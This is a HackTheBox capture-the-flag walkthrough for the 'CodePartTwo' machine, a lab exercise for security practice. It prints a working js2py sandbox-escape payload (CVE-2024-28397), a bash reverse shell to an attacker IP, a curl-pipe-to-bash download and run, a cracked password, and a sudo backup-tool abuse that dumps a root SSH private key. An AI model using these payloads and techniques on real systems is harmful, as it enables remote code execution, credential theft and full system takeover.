HTB: CodePartTwo Writeup
CodePartTwo - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | CodePartTwo |
| OS | Linux |
| Difficulty | Easy |
| Points | 692 |
| Release Date | 28th November 2025 |
| IP Address | 10.10.11.82 |
| Author | d3vn0mi |
Machine Rating
⭐⭐☆☆☆ (2/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐⭐☆☆
- CTF-like: ⭐⭐☆☆☆
Summary
CodePartTwo is an Easy Linux machine featuring a vulnerable Flask-based web application with a JavaScript code editor powered by js2py 0.74. The initial foothold is gained by exploiting CVE-2024-28397, a critical sandbox escape vulnerability in js2py that allows remote code execution. After establishing a reverse shell as the app user, lateral movement is achieved by extracting password hashes from an SQLite database and cracking them to obtain SSH access as the marco user. Privilege escalation is then performed by leveraging the npbackup-cli utility, which runs with root privileges, to backup and extract the root SSH private key, enabling direct root access.
TL;DR: js2py RCE → SQLite password extraction → SSH lateral movement → npbackup-cli root backup → Root SSH key extraction → Root compromise
Reconnaissance
Port Scanning
# Initial full port scanports=$(nmap -p- --min-rate=1000 -T4 10.10.11.82 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
# Detailed service enumerationnmap -p$ports -sC -sV 10.10.11.82Results:
PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.138000/tcp open http Gunicorn 20.0.4Two ports are open: SSH on port 22 and a web application served by Gunicorn on port 8000 with the title “Welcome to CodePartTwo”.
Service Enumeration
HTTP Service (Port 8000):
Upon visiting http://10.10.11.82:8000, we encounter a landing page for CodePartTwo, a web platform designed to assist developers in writing, saving, and running JavaScript code. The page presents three action buttons: LOGIN, REGISTER, and DOWNLOAD APP.
Clicking the DOWNLOAD APP button retrieves a ZIP archive containing the complete application source code.
unzip app.zipcd app && ls -laThe extracted contents reveal a Flask application structure with:
app.py- main application filerequirements.txt- Python dependenciesinstance/users.db- SQLite databasestatic/andtemplates/directories
Dependency Analysis:
cat requirements.txtOutput reveals critical dependencies:
flask==3.0.3flask-sqlalchemy==3.1.1js2py==0.74Vulnerability Assessment
The application relies on js2py version 0.74, which is vulnerable to CVE-2024-28397, a critical sandbox escape vulnerability. This vulnerability allows arbitrary Python code execution through specially crafted JavaScript payloads, completely bypassing the sandbox restrictions intended to isolate JavaScript execution.
Initial Foothold
Exploitation Path
Step 1: Account Creation
First, we register a new user account by clicking the REGISTER button and creating arbitrary credentials.
Step 2: Application Dashboard Access
After successful registration and login, we gain access to the application’s dashboard, which provides a built-in code editor for writing JavaScript code with a “Run Code” button to execute the code server-side.
Step 3: Source Code Analysis
Examining the Flask source code (app.py), we identify the vulnerable endpoint:
@app.route('/run_code', methods=['POST'])def run_code(): try: code = request.json.get('code') result = js2py.eval_js(code) return jsonify({'result': result}) except Exception as e: return jsonify({'error': str(e)})The application directly evaluates user-supplied JavaScript using js2py.eval_js() without any sanitization or validation.
Step 4: CVE-2024-28397 Exploitation
The CVE-2024-28397 vulnerability allows breaking out of the js2py sandbox by accessing Python’s built-in object hierarchy through JavaScript. We construct a payload that:
- Accesses the
Object.getOwnPropertyNames()to break out of the sandbox - Uses
__getattribute__to traverse the Python object hierarchy - Finds the
subprocess.Popenclass - Executes arbitrary system commands
Step 5: Reverse Shell Setup
First, create a reverse shell script:
cat > rev.sh <<'EOF'#!/bin/bashbash -i >& /dev/tcp/10.10.14.89/4242 0>&1EOFHost it using Python:
python3 -m http.server 9000Set up a Netcat listener:
nc -lnvp 4242Step 6: Payload Delivery
Prepare the js2py sandbox escape payload with command execution:
let cmd = "curl http://10.10.14.89:9000/rev.sh | bash"let hacked, bymarve, n11let getattr, obj
hacked = Object.getOwnPropertyNames({})bymarve = hacked.__getattribute__n11 = bymarve("__getattribute__")obj = n11("__class__").__base__getattr = obj.__getattribute__
function findpopen(o) { let result; for(let i in o.__subclasses__()) { let item = o.__subclasses__()[i] if(item.__module__ == "subprocess" && item.__name__ == "Popen") { return item } if(item.__name__ != "type" && (result = findpopen(item))) { return result } }}
n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate()console.log(n11)n11Paste this payload into the code editor and click “Run Code”. The Netcat listener receives the reverse connection:
connect to [10.10.14.89] from (UNKNOWN) [10.10.11.82] 40086app@codeparttwo:~/app$ iduid=1001(app) gid=1001(app) groups=1001(app)Step 7: Shell Stabilization
Upgrade to a proper interactive shell:
script /dev/null -c /bin/bashPrivilege Escalation
Lateral Movement: Database Credential Extraction
Step 1: Database Discovery
Enumerate the application directory:
app@codeparttwo:~/app/instance$ ls -latotal 24-rw-r--r-- 1 app app 16384 Jun 18 08:36 users.dbThe SQLite database users.db contains user credentials.
Step 2: Database Interrogation
Query the database using sqlite3:
sqlite3 users.dbsqlite> .tablescode_snippet user
sqlite> select * from user;1|marco|<redacted>2|app|<redacted>sqlite>We discover two users with their password hashes. The hash for user marco is an MD5 hash.
Step 3: Hash Cracking
Using CrackStation (an online password hash lookup service), the MD5 hash for marco is successfully cracked, revealing the password: sweetangelbabylove
Step 4: SSH Access
With the recovered password, we authenticate via SSH:
ssh marco@10.10.11.82# Password: sweetangelbabylove
marco@codeparttwo:~$ iduid=1000(marco) gid=1000(marco) groups=1000(marco),1003(backups)
marco@codeparttwo:~$ cat user.txt<redacted>Root Privilege Escalation
Step 1: Sudo Capability Enumeration
Check sudo permissions for the marco user:
marco@codeparttwo:~$ sudo -lMatching Defaults entries for marco on codeparttwo: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User marco may run the following commands on codeparttwo: (ALL : ALL) NOPASSWD: /usr/local/bin/npbackup-cliThe marco user can execute /usr/local/bin/npbackup-cli as root without requiring a password.
Step 2: Backup Configuration Analysis
Examine the existing backup configuration:
marco@codeparttwo:~$ cat npbackup.confconf_version: 3.0.1audience: publicrepos: default: repo_uri: __NPBACKUP__wd9051w9Y0p4ZYWmIxMqKHP81/phMlzIOYsL01M9Z7IxNzQzOTEwMDcxLjM5NjQ0Mg8PDw8PDw8PDw8PDw8PD6yVSCEXjl8/9rIqYrh8kIRhlKm4UPcem5kIIFPhSpDU+e+E__NPBACKUP__ repo_group: default_group backup_opts: paths: - /home/app/app/ source_type: folder_listThe configuration currently backs up the /home/app/app/ directory.
Step 3: Tool Capability Review
Check the npbackup-cli help menu:
marco@codeparttwo:~$ sudo /usr/local/bin/npbackup-cli --helpusage: npbackup-cli [-h] [-c CONFIG_FILE] [--repo-name REPO_NAME] [--repo-group REPO_GROUP] [-b] [-f] [-r RESTORE] [-s] [--ls [LS]] [--find FIND] [--forget FORGET] [--policy] [--housekeeping] [--quick-check] [--full-check] [--check CHECK] [--prune] ...
optional arguments: -c CONFIG_FILE, --config-file CONFIG_FILE Path to alternative configuration file (defaults to current dir/npbackup.conf) --ls [LS] List backup contents --dump DUMP Dump file contents from backupThe tool accepts an alternative configuration file via the -c flag and can list and dump backup contents with root privileges.
Step 4: Malicious Configuration Creation
Create a modified configuration that backs up the /root directory:
marco@codeparttwo:~$ cp npbackup.conf npbackup1.confmarco@codeparttwo:~$ nano npbackup1.conf
# Edit the paths section:backup_opts: paths: - /root source_type: folder_listStep 5: Root Directory Backup Execution
Execute the backup with root privileges using the modified configuration:
marco@codeparttwo:~$ sudo /usr/local/bin/npbackup-cli -c npbackup1.conf -b -f2025-11-17 09:02:04,029 :: INFO :: npbackup 3.0.1-linux running as root2025-11-17 09:02:05,334 :: WARNING :: Parameter --use-fs-snapshot was given...Files: 15 new, 0 changed, 0 unmodifiedDirs: 8 new, 0 changed, 0 unmodifiedAdded to the repository: 190.612 KiB (39.886 KiB stored)...snapshot 505cedc0 savedStep 6: Backup Content Enumeration
List the contents of the backed-up root directory:
marco@codeparttwo:~$ sudo /usr/local/bin/npbackup-cli -c npbackup1.conf --ls.../root/root/.bash_history/root/.bashrc/root/.cache/root/.mysql_history/root/.profile/root/.ssh/root/.ssh/authorized_keys/root/.ssh/id_rsa...We can see the root user’s SSH private key is included in the backup.
Step 7: SSH Private Key Extraction
Dump the root SSH private key from the backup:
marco@codeparttwo:~$ sudo /usr/local/bin/npbackup-cli -c npbackup1.conf --dump /root/.ssh/id_rsa-----BEGIN OPENSSH PRIVATE KEY-----b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcnNhAAAAAwEAAQAAAYEA9apNjja2/vuDV4aaVheXnLbCe7dJBI/l4Lhc0nQA5F9wGFxkvIEy...o85/zCvGKm/BYjoldz23CSOFrssSlEZUppA6JJkEovEaR3LW7b1pBIMu52f+64cUNgSWtHkXQKJhgScWFD3dnPx6cJRLChJayc0FHz02KYGRP3KQIedpOJDAFF096MXhBT7W9ZO8Pen/MBhgprGCU3dhhJMQAAAAxyb290QGNvZGV0d28BAgMEBQ==-----END OPENSSH PRIVATE KEY-----Step 8: Local Private Key Setup
Save the private key locally and set restrictive permissions:
# On attacker machinecat > id_rsa <<'EOF'-----BEGIN OPENSSH PRIVATE KEY-----[paste the extracted key here]-----END OPENSSH PRIVATE KEY-----EOF
chmod 600 id_rsaStep 9: Root SSH Access
Connect to the target as root using the extracted private key:
ssh -i id_rsa root@10.10.11.82Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-216-entity)Last login: Mon Nov 17 09:06:46 2025 from 10.10.14.89root@codeparttwo:~# iduid=0(root) gid=0(root) groups=0(root)
root@codeparttwo:~# cat /root/root.txt<redacted>Attack Chain Summary
Web Enumeration (Port 8000) ↓Source Code Download (app.zip) ↓Vulnerability Discovery (CVE-2024-28397 - js2py RCE) ↓Account Registration & Login ↓JavaScript Sandbox Escape Payload Delivery ↓Remote Code Execution (app user) ↓Reverse Shell Establishment ↓SQLite Database Extraction (users.db) ↓MD5 Hash Cracking (marco password) ↓SSH Lateral Movement (marco user) ↓Sudo Capability Discovery (npbackup-cli) ↓Malicious Backup Configuration Creation ↓Root Directory Backup Execution ↓SSH Private Key Extraction ↓Root SSH Authentication ↓Full System Compromise (root)Tools Used
| Tool | Purpose |
|---|---|
nmap | Network port scanning and service enumeration |
curl | Downloading reverse shell payload |
nc (netcat) | Reverse shell listener |
sqlite3 | SQLite database querying |
| CrackStation | MD5 hash cracking |
ssh | Secure shell access |
sudo | Privilege elevation for npbackup-cli |
| Text Editor (nano/vi) | Configuration file modification |
Key Learnings
Techniques Practiced
- Web application reconnaissance and source code analysis
- Exploiting unsafe JavaScript evaluation (js2py sandbox bypass)
- Constructing multi-stage payload delivery (HTTP-hosted reverse shell)
- SQLite database querying and password hash extraction
- Hash cracking for lateral movement
- Identifying privilege escalation vectors via sudo capabilities
- Leveraging backup utilities for unauthorized file access
- SSH key-based authentication for root access
Lessons Learned
-
Dependency Vulnerabilities Matter: Always review application dependencies for known CVEs. The specific version of js2py (0.74) was vulnerable to sandbox escape—a common issue when using JavaScript engines in server-side contexts.
-
Source Code Review is Critical: The ability to download and review the source code immediately revealed the vulnerable endpoint and allowed us to understand the attack surface before exploitation.
-
Database Credentials are Gold: SQLite databases storing plaintext or weak password hashes present a direct path to lateral movement. Never store credentials without proper hashing algorithms (bcrypt, Argon2).
-
Backup Tools as Privilege Escalation Vectors: Backup utilities running with elevated privileges can become powerful attack vectors if they allow arbitrary path specification without proper validation.
-
Configuration File Manipulation: Tools that accept configuration file parameters should validate file ownership and permissions to prevent privilege escalation through malicious configurations.
-
Chaining Multiple Vulnerabilities: This machine demonstrates the importance of chaining multiple vulnerabilities (RCE → credential extraction → privilege escalation) to achieve full system compromise.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>